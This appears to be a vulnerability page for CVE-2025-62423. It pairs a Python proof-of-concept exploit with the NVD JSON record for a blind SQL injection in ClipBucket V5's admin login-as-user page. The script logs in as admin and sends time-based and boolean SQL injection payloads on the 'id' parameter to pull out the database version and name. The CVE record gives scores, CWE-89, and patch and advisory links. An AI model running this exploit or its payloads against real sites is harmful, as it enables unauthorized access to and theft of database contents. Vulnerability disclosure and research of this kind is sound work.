CVE-2025-62423

# CVE-2025-62423 - ClipBucket V5 Blind SQL Injection PoC # Target: /admin_area/login_as_user.php # Requires: Admin Area access privileges import requests import time # Configuration TARGET_URL = "http://target-clipbucket-site.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin_area/login.php" LOGIN_AS_USER_URL = f"{TARGET_URL}/admin_area/login_as_user.php" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "admin_password" # Create session to maintain cookies session = requests.Session() # Step 1: Login as admin login_data = { "username": ADMIN_USERNAME, "password": ADMIN_PASSWORD } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Blind SQL Injection payload (Boolean-based) # The 'id' parameter is vulnerable to blind SQLi def check_injection(payload): """Send SQL injection payload and return True if condition is true""" params = {"id": payload} response = session.get(LOGIN_AS_USER_URL, params=params) # Analyze response for boolean-based blind injection return response.elapsed.total_seconds() # Return response time # Step 3: Time-based blind SQL injection example # Extract database version def extract_data(query): """Extract data using time-based blind SQL injection""" payload = f"1' AND IF(({query}), SLEEP(3), 0)-- -" start_time = time.time() check_injection(payload) elapsed = time.time() - start_time return elapsed > 2.5 # If response delayed, condition is true # Example: Check if MySQL version is >= 5.7 result = extract_data("SELECT SUBSTRING(@@version,1,1)='5'") print(f"MySQL version starts with '5': {result}") # Example: Extract first character of current database name result = extract_data("SELECT ASCII(SUBSTRING(database(),1,1))>100") print(f"First char of database ASCII > 100: {result}") # Note: Boolean-based blind SQLi payload example # payload = "1' AND 1=1-- -" # True condition # payload = "1' AND 1=2-- -" # False condition # Compare responses to extract data character by character

{"cve": {"id": "CVE-2025-62423", "sourceIdentifier": "[email protected]", "published": "2025-10-16T19:15:34.960", "lastModified": "2025-11-10T19:58:10.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket V5 provides open source video hosting with PHP. In version5.5.2 - #140 and earlier, a Blind SQL injection vulnerability exists in the Admin Area’s “/admin_area/login_as_user.php” file. Exploiting this vulnerability requires access privileges to the Admin Area."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-142", "matchCriteriaId": "A502A9E4-84FA-46D3-BAB1-9F1F271E4054"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/b3bf27e367f318c2afe9bd11368be9d00e272148", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3wpr-jprj-52fc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3wpr-jprj-52fc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}